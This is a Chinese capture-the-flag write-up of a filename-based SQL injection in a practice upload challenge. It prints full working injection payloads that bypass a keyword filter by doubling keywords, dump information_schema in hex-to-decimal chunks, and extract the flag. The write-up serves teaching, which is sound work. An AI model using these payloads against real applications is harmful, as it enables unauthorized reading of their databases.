1. 题目描述
打开链接,是这样的一个注册界面
先试着注册一个账号看看,这里简单操作,注册test/test,注册完后进行登录
登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。
2. 思路分析
既然存在上传,那么大概率上传点存在漏洞,我们先试试随便上传一个php文件
这里提示很明显了,说明存在WAF,对我们的文件拓展名进行了限制
试着修改下文件后缀,这里修改为jpg格式的,提示我们上传成功
既然上传成功了,试着用蚁剑连接下,发现失败,不过也正常,我们不知道文件的存储路径,而且上传的不是php。
除了文件上传外,是否还有其它的思路呢?我们注意到我们输入的文件名进行了回显,这里就可能存在sql注入,我们简单试下
注意到我们传入select关键字时,回显值中已经没有select了,说明被过滤掉了,为什么要过滤select呢?说明这里大概率存在sql注入。
好了,经过简单的验证,虽然说这道题名字取的是文件上传,但是实际上是文件名sql注入。
3. 解题过程
从上面的截图来看,实际上这道题是存在WAF的,因为过滤了select,那么我们首先要考虑的是如何绕过WAF
3.1 绕过WAF的限制
既然存在sql注入,那么select,from等关键字必须存在绕过方法,试了下大小写无法绕过,但是双写可以
试着查看下数据库
发现回显是0,说明这里大概率对回显进行了限制,而且限制了必须为数字,因此我们需要对sql查询语句进行调整,使得查出来的都是数字,这里做法是先转成16进制,再转化为10进制
但是回显后发现变成科学计数法了,因此我们每次只能取一部分字符,这里验证了一下,每次最多只能取12个字符,如果取13个,取出来的值就会变成科学计数法表示。
此时的文件名为:a' +(selecselectt conv(substr(hex(database()), 1, 12), 16, 10))+ '.jpg
然后再将这个十进制转化为字符串,这里使用如下脚本即可
import sys
num = int(sys.argv[1])
# 10进制 -> 16进制
hex_num = hex(num)[2:]
# 16进制 -> 字符串
bytes_data=bytes.fromhex(hex_num)
str=''.join(chr(byte) for byte in bytes_data)
print(str)
执行该脚本,转为的字符串为web_up
这个看上去不全,因此按照上述的步骤获取数据库名的后面的字符(这里注意文件数小于10个,如果超过10个,那么需要注销并重新登录)
继续将文件名设置为a' +(selecselectt conv(substr(hex(database()), 13, 12), 16, 10))+ '.jpg
所以,最终拼接起来,得到的数据库名为web_upload
3.2 重复上述步骤,进一步获取数据库中的其它字段(表名,列名,具体的值)
获取表名的payload如下:
a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 1, 12), 16, 10))+ '.jpg
a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 13, 12), 16, 10))+ '.jpg
a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 25, 12), 16, 10))+ '.jpg
得到结果:
转换为字符串为:hello_flag_is_here
获取表中字段名的payload如下:
a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 1, 12), 16, 10))+ '.jpg
a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 13, 12), 16, 10))+ '.jpg
得到结果:
转换为字符串:i_am_flag
最后,查询表中字段值的payload如下:
a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 1, 12), 16, 10))+ '.jpg
a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 13, 12), 16, 10))+ '.jpg
a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 25, 12), 16, 10))+ '.jpg
得到结果:
同样转换成字符串得到flag为:!!_@m_Th.e_F!lag
4. 总结
整体来看,这道题属于一道综合性比较强的题目,虽然是文件上传,但是实际的攻击点在于sql注入,这里是有一点迷惑性的。然后就是针对sql注入,题目中也涉及到了各种sql绕过手段以及进制转化相关的知识点,因此这里还是有一定难度的,不过最终做出来的话也可以积累很多知识,收获很大。